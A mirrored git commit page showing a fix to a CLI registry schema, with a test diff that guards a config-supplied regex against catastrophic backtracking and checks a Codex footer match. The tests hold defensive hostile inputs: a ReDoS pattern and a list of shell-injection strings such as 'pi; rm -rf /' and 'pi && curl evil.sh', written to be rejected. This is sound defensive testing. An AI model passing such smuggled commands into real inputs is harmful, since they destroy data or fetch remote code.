mirror of
https://github.com/Ark0N/Codeman.git
synced 2026-10-03 22:19:42 +02:00
fix(cli-registry): guard workDetect.workingLine like every other config regex
#385 made the composer glyph and the working status line per-CLI registry data, which is right, but `workingLine` arrived as a config-supplied regex validated with a bare `new RegExp()`. That skips `compileVersionRegex()`, the helper the registry uses for exactly this: a `~/.codeman/clis.json` override can set the field, the compiled pattern is run against every accumulated PTY chunk and every pane capture, and a nested quantifier there backtracks on the event loop for the whole server rather than one session. Route it through the helper in both places, which are not redundant: the schema refine rejects the entry at LOAD time so a bad pattern never reaches a session, and `_workingLinePattern()` compiles through the same helper so the runtime cannot hold a pattern the schema would have refused. The helper returns null instead of throwing, so the Claude-pattern fallback stops being a try/catch and becomes structural. Both shipped patterns compile unchanged, and Claude's is behaviourally identical to CLAUDE_WORKING_LINE_PATTERN. Also match the Codex footer case-insensitively on the E. It was characterised against codex-cli 0.152.1, which prints a lowercase `esc`; a version capitalising it would make the whole fix silently inert, since the pane would simply never look like it was working. Docs: CLAUDE.md, architecture-invariants and cli-registry.md all still stated the Claude-mode-only rule this PR retires, and none of them named the new capability or the regex guard. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
This commit is contained in:
@@ -17,6 +17,7 @@
|
||||
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { CliEntrySchema } from '../src/config/cli-registry/schema.js';
|
||||
import { compileVersionRegex } from '../src/config/cli-registry/patterns.js';
|
||||
import { STOCK_CLIS } from '../src/config/cli-registry/stock.js';
|
||||
import type { CliEntry } from '../src/config/cli-registry/types.js';
|
||||
|
||||
@@ -75,6 +76,34 @@ describe('strictness', () => {
|
||||
});
|
||||
});
|
||||
|
||||
describe('workDetect.workingLine is guarded like every other config regex', () => {
|
||||
it('rejects a nested quantifier', () => {
|
||||
expectRejected((e) => {
|
||||
(e.capabilities as Record<string, unknown>).workDetect = { promptGlyph: '>', workingLine: '(a+)+b' };
|
||||
}, 'this pattern is compiled once and then run against every accumulated PTY chunk, so catastrophic backtracking here freezes the event loop for the whole server');
|
||||
});
|
||||
|
||||
it('rejects a source longer than compileVersionRegex() will compile', () => {
|
||||
expectRejected((e) => {
|
||||
(e.capabilities as Record<string, unknown>).workDetect = { promptGlyph: '>', workingLine: 'a'.repeat(201) };
|
||||
}, 'the schema must not accept a pattern the runtime will then refuse to compile, or the CLI silently falls back to the Claude pattern');
|
||||
});
|
||||
|
||||
it('rejects a pattern that is not a regex at all', () => {
|
||||
expectRejected((e) => {
|
||||
(e.capabilities as Record<string, unknown>).workDetect = { promptGlyph: '>', workingLine: '([unclosed' };
|
||||
}, 'a broken pattern must fail at LOAD time, not inside the PTY data handler');
|
||||
});
|
||||
|
||||
it('accepts both shipped patterns unchanged', () => {
|
||||
for (const entry of STOCK_CLIS) {
|
||||
const src = entry.capabilities.workDetect?.workingLine;
|
||||
if (!src) continue;
|
||||
expect(compileVersionRegex(src), `${entry.id} declares a workingLine the guard refuses`).not.toBeNull();
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('no shell text can reach the command line', () => {
|
||||
it('rejects a literal carrying shell metacharacters', () => {
|
||||
for (const evil of ['pi; rm -rf /', 'pi && curl evil.sh', 'pi`whoami`', 'pi $(id)', 'pi | tee', 'pi > /etc/x']) {
|
||||
|
||||
@@ -307,6 +307,15 @@ describe("codex's work-detection descriptor", () => {
|
||||
expect(new RegExp(codex!.workingLine).test(CODEX_FINISHED)).toBe(false);
|
||||
});
|
||||
|
||||
it('matches the footer case-insensitively on the E', () => {
|
||||
// Characterised on codex-cli 0.152.1, which prints a lowercase `esc`. A future
|
||||
// version capitalising it would otherwise make the whole fix silently inert:
|
||||
// the pane would simply never look like it was working.
|
||||
expect(new RegExp(codex!.workingLine).test(CODEX_WORKING.replace('esc to interrupt', 'Esc to interrupt'))).toBe(
|
||||
true
|
||||
);
|
||||
});
|
||||
|
||||
it('names the glyph Codex actually draws on its composer row', () => {
|
||||
expect(CODEX_COMPOSER_REPAINT).toContain(codex!.promptGlyph);
|
||||
expect(CODEX_WORKING).toContain(codex!.promptGlyph);
|
||||
|
||||
Reference in New Issue
Block a user